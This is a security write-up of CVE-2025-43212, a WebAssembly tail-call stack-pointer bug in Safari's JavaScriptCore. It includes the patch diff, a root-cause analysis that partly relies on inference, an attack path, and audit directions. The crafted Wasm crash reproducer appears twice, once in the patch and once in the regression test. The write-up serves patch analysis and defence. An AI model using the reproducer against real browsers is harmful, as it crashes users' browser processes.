Released July 29, 2025

CVE-2025-43212

CVSS 6.5 severity medium CWE-119 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected Safari crash

Researchers: Nan Wang (@eternalsakura13) and Ziling Chen

Key insight. An OMG wasm-to-wasm call (notably a tail call to a callee with a smaller argument area) left the stack pointer matching the callee’s layout instead of the caller’s; the one-line fix re-establishes sp = callFrameRegister - frameSize in the call’s link task, restoring the fundamental per-frame SP invariant.

Patch Details

diff --git a/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js b/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js
new file mode 100644
index 000000000000..3de6538483d5
--- /dev/null
+++ b/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js
@@ -0,0 +1,9 @@
+//@ runDefault("--jitPolicyScale=0", "--useConcurrentJIT=0")
+  var wasm_code = new Uint8Array([
+      0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0xa7,0x80,0x80,0x80,0x00,0x03,0x60,0x02,0x7f,0x7f,0x01,0x7f,0x60,0x00,0x00,0x60,0x1a,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x00,0x03,0x84,0x80,0x80,0x80,0x00,0x03,0x00,0x02,0x01,0x04,0x85,0x80,0x80,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x05,0x84,0x80,0x80,0x80,0x00,0x01,0x01,0x01,0x01,0x07,0x88,0x80,0x80,0x80,0x00,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x09,0x89,0x80,0x80,0x80,0x00,0x01,0x04,0x41,0x00,0x0b,0x01,0xd2,0x02,0x0b,0x0a,0x92,0x82,0x80,0x80,0x00,0x03,0xf9,0x81,0x80,0x80,0x00,0x00,0x03,0x40,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x43,0xb4,0xa2,0x91,0x4d,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x10,0x01,0x20,0x00,0x41,0x01,0x6b,0x22,0x00,0x0d,0x00,0x0b,0x41,0x00,0x0b,0x87,0x80,0x80,0x80,0x00,0x00,0x41,0x00,0x13,0x01,0x00,0x0b,0x82,0x80,0x80,0x80,0x00,0x00,0x0b,
+]);
+  var wasm_module = new WebAssembly.Module(wasm_code);
+  var wasm_instance = new WebAssembly.Instance(wasm_module);
+  var f = wasm_instance.exports.main;
+  f(100000);
+
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index b8d5fb1ed462..59ee46d78a0a 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -5583,6 +5583,7 @@ auto OMGIRGenerator::addCall(FunctionSpaceIndex functionIndexSpace, const TypeDe
             jit.addLinkTask([unlinkedWasmToWasmCalls, call, functionIndexSpace, calleeMove](LinkBuffer& linkBuffer) {
                 unlinkedWasmToWasmCalls->append({ linkBuffer.locationOfNearCall<WasmEntryPtrTag>(call), functionIndexSpace, linkBuffer.locationOf<WasmEntryPtrTag>(calleeMove) });
             });
+            jit.addPtr(CCallHelpers::TrustedImm32(-params.code().frameSize()), GPRInfo::callFrameRegister, MacroAssembler::stackPointerRegister);
         });
     };
 

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2025-43212
Bugzilla 293197
Component JSC
Bug Class LogicError
Severity medium
Commit 240b9cb9889168bc…
Advisory Apple Advisory

Terminology

  • OMG tier — JavaScriptCore’s optimizing WebAssembly compiler that produces the fastest machine code for hot Wasm functions after they tier up from BBQ.
  • Tail call (return_call) — A Wasm instruction that transfers control to a callee reusing the current frame; when the callee has a different argument area the stack layout must be re-adjusted.
  • callFrameRegister / frameSize — cfr points at the current frame base; the SP invariant for a frame is sp == cfr - frameSize, so all stack slots are addressable at fixed offsets.
  • Link task — A deferred closure run during LinkBuffer finalization when late-known values (call targets, final frame sizes) are available, used here to both patch the call and restore SP.
  • unlinkedWasmToWasmCalls — The table of near-call sites patched at link time to the resolved callee entry point for direct wasm-to-wasm calls.

Root Cause Analysis

The bug is in the OMG (Optimized Machine-code Generator, the top Wasm tier) call emitter OMGIRGenerator::addCall in Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp. addCall emits a direct wasm-to-wasm call and registers a link task that patches the near-call target once the callee is laid out. The invariant at issue is the caller’s calling convention around the stack pointer: after a call returns (or after control comes back into the current frame’s code region), the stack pointer must equal callFrameRegister - frameSize so that all subsequent stack-relative accesses in the frame are correct. The reproducer performs a WebAssembly tail call (return_call, opcode 0x12) from ‘main’ to a callee whose signature has far fewer parameters/results than the caller (the caller type has 26 params, the tail-called helper type has 0), executed in a countdown loop of 100000 iterations to force OMG tier-up (–jitPolicyScale=0, –useConcurrentJIT=0). When a tail call targets a function with a different (smaller) argument area, the shared/near-call and argument-shuffling code can leave the stack pointer adjusted to the callee’s frame layout rather than the caller’s, so on the surrounding OMG-generated code path the SP no longer matches callFrameRegister - frameSize. With a desynchronized SP, subsequent frame accesses and the next stack-limit/overflow reasoning operate on wrong addresses, producing an unexpected crash (and, more broadly, stack-pointer corruption). The fix adds, inside the link task run after the call is emitted, jit.addPtr(TrustedImm32(-params.code().frameSize()), GPRInfo::callFrameRegister, MacroAssembler::stackPointerRegister), i.e. it explicitly recomputes sp = callFrameRegister - frameSize, restoring the caller-frame SP invariant after the (tail) call sequence. Because params.code().frameSize() is only known late, the restore is deferred into the link task alongside the call-target patch. NOTE: the exact tail-call vs normal-call framing detail is partly inference from the test name (omg-tail-call-to-function-with-less-arguments) and the single-line SP-restore fix; the diff itself only shows the added SP recomputation in addCall’s link task.

Attack Path

1. Ship a crafted Wasm module

A web page compiles and instantiates a module (WebAssembly.Module/Instance) containing a function that tail-calls (return_call) another function whose signature has fewer arguments/results, as encoded in the reproducer’s byte array.

2. Force OMG compilation

Call the exported ‘main’ with a large counter (f(100000)) under aggressive JIT settings so the hot function tiers up from BBQ to OMG and addCall emits the vulnerable call sequence.

3. Execute the mismatched tail call

At runtime the tail call shuffles arguments for the smaller callee and leaves the stack pointer set to the callee’s layout instead of the caller’s callFrameRegister - frameSize.

4. Operate on a desynced SP

Subsequent OMG code in the frame accesses stack slots relative to the wrong SP, corrupting stack-relative reads/writes and/or the stack-overflow accounting.

5. Crash the WebContent process

The SP desynchronization leads to an unexpected Safari/WebContent crash, the denial-of-service reported by the CVE.

Impact Assessment

The patch establishes a stack-pointer desynchronization after a call/tail-call, which as demonstrated yields an unexpected crash (DoS) of the WebContent (renderer) process, matching the CVE. A wrong SP relative to the frame is a stack-memory-safety issue in principle (subsequent reads/writes land at attacker-influenced offsets), so escalation beyond a crash toward controlled stack corruption cannot be fully excluded, but the diff only shows the SP-restore fix and does not demonstrate a controllable OOB write, so any RCE path is inference rather than established. It is confined to the sandboxed renderer where the Wasm JIT executes; heap-grooming/ACE background is not what this commit proves.

Audit Directions

Other SP-affecting emitters in OMG

In WasmOMGIRGenerator.cpp grep for stackPointerRegister / addPtr(…frameSize…) / callFrameRegister around addCall, addCallIndirect, addCallRef and tail-call helpers to confirm each call sequence restores sp == cfr - frameSize.

Tail-call argument-area mismatches

Audit all return_call / return_call_indirect / return_call_ref codegen for callees with fewer/more args than the caller; grep for ‘params.code().frameSize()’ and shuffle/relocation logic that changes SP without a matching restore.

Cross-tier consistency (BBQ)

Compare with WasmBBQJIT.cpp tail-call handling (see CVE-2025-24162) to check whether the same tier-specific SP/binding cleanup is uniformly applied; tail calls were a repeated 2025 defect area.

Search addLinkTask closures across the Wasm JIT for ones that patch call targets but assume SP is already correct; verify frameSize-dependent SP restores are present wherever a call can perturb the stack pointer.

Changed Functions

Function File Change Note
OMGIRGenerator::addCall Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp modified In the post-call link task (which also patches the near-call target via unlinkedWasmToWasmCalls), added jit.addPtr(-params.code().frameSize(), callFrameRegister, stackPointerRegister) to restore the caller frame’s stack pointer (sp = cfr - frameSize) after the call, using the late-known frameSize.

Files Changed

Source Files

  • Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp

Test Files

  • JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js b/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js
new file mode 100644
index 000000000000..3de6538483d5
--- /dev/null
+++ b/JSTests/wasm/stress/omg-tail-call-to-function-with-less-arguments.js
@@ -0,0 +1,9 @@
+//@ runDefault("--jitPolicyScale=0", "--useConcurrentJIT=0")
+  var wasm_code = new Uint8Array([
+      0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0xa7,0x80,0x80,0x80,0x00,0x03,0x60,0x02,0x7f,0x7f,0x01,0x7f,0x60,0x00,0x00,0x60,0x1a,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x00,0x03,0x84,0x80,0x80,0x80,0x00,0x03,0x00,0x02,0x01,0x04,0x85,0x80,0x80,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x05,0x84,0x80,0x80,0x80,0x00,0x01,0x01,0x01,0x01,0x07,0x88,0x80,0x80,0x80,0x00,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x09,0x89,0x80,0x80,0x80,0x00,0x01,0x04,0x41,0x00,0x0b,0x01,0xd2,0x02,0x0b,0x0a,0x92,0x82,0x80,0x80,0x00,0x03,0xf9,0x81,0x80,0x80,0x00,0x00,0x03,0x40,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x43,0xb4,0xa2,0x91,0x4d,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x42,0xef,0x9b,0xaf,0xcd,0xf8,0xac,0xd1,0x91,0x01,0x10,0x01,0x20,0x00,0x41,0x01,0x6b,0x22,0x00,0x0d,0x00,0x0b,0x41,0x00,0x0b,0x87,0x80,0x80,0x80,0x00,0x00,0x41,0x00,0x13,0x01,0x00,0x0b,0x82,0x80,0x80,0x80,0x00,0x00,0x0b,
+]);
+  var wasm_module = new WebAssembly.Module(wasm_code);
+  var wasm_instance = new WebAssembly.Instance(wasm_module);
+  var f = wasm_instance.exports.main;
+  f(100000);
+